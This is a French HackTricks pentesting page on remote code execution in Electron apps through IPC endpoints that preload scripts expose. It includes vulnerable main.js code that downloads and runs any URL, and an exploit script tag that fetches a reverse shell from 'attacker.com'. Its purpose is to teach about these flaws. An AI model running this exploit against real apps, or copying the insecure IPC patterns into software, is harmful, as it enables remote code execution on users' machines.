hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc.md

5.8 KiB

Electron contextIsolation RCE via IPC

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Si le script de préchargement expose un point de terminaison IPC à partir du fichier main.js, le processus de rendu pourra y accéder et, s'il est vulnérable, une RCE pourrait être possible.

La plupart de ces exemples ont été tirés d'ici https://www.youtube.com/watch?v=xILfQGkLXQo. Consultez la vidéo pour plus d'informations.

Exemple 0

Exemple de https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21 (vous avez l'exemple complet de la façon dont MS Teams a été victime d'une XSS à une RCE dans ces diapositives, ceci est juste un exemple très basique) :

Exemple 1

Vérifiez comment main.js écoute sur getUpdate et téléchargera et exécutera n'importe quelle URL transmise.
Vérifiez également comment preload.js expose tout IPC event de main.

// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
console.log('getUpdate: ' + url)
mainWindow.webContents.downloadURL(url)
mainWindow.download_url = url
});

mainWindow.webContents.session.on('will-download', (event, item, webContents) => {
console.log('downloads path=' + app.getPath('downloads'))
console.log('mainWindow.download_url=' + mainWindow.download_url);
url_parts = mainWindow.download_url.split('/')
filename = url_parts[url_parts.length-1]
mainWindow.downloadPath = app.getPath('downloads') + '/' + filename
console.log('downloadPath=' + mainWindow.downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item.setSavePath(mainWindow.downloadPath)

item.on('updated', (event, state) => {
if (state === 'interrupted') {
console.log('Download is interrupted but can be resumed')
}
else if (state === 'progressing') {
if (item.isPaused()) console.log('Download is paused')
else console.log(`Received bytes: ${item.getReceivedBytes()}`)
}
})

item.once('done', (event, state) => {
if (state === 'completed') {
console.log('Download successful, running update')
fs.chmodSync(mainWindow.downloadPath, 0755);
var child = require('child_process').execFile;
child(mainWindow.downloadPath, function(err, data) {
if (err) { console.error(err); return; }
console.log(data.toString());
});
}
else console.log(`Download failed: ${state}`)
})
})
// Part of code of preload.js
window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};

Exploit:

<script>
electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
</script>

Exemple 2

Si le script de préchargement expose directement au moteur de rendu un moyen d'appeler shell.openExternal, il est possible d'obtenir une exécution de code à distance (RCE).

// Part of preload.js code
window.electronOpenInBrowser = (url) => {
shell.openExternal(url);
};

Exemple 3

Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, une XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC.

window.electronListen = (event, cb) => {
ipcRenderer.on(event, cb);
};

window.electronSend = (event, data) => {
ipcRenderer.send(event, data);
};
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

D'autres façons de soutenir HackTricks :